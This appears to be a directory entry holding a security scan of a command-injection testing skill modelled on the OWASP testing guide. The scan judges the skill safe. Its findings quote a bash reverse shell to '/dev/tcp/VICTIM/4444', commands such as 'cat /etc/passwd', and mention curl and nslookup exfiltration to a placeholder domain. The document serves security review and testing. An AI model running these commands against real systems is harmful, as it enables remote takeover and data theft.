The Agent Skills Directory

[SAFE]: The skill is entirely composed of markdown documentation intended for educational and security testing purposes. It follows the OWASP Web Security Testing Guide (WSTG-INPV-12) framework.
[COMMAND_EXECUTION]: The document lists various shell metacharacters and command strings (e.g., id, whoami, cat /etc/passwd). These are provided strictly as static examples for manual or automated security testing scenarios and are not executed by the agent or skill code.
[REMOTE_CODE_EXECUTION]: A reverse shell payload pattern (bash -i >& /dev/tcp/VICTIM/4444) was detected. This string is contained within a documentation block describing potential exploitation impacts and is not used in an executable context.
[DATA_EXFILTRATION]: The methodology describes techniques for out-of-band data exfiltration using tools like curl and nslookup targeting a placeholder domain. These descriptions serve as educational content for security practitioners identifying blind injection vulnerabilities.

cmd-injection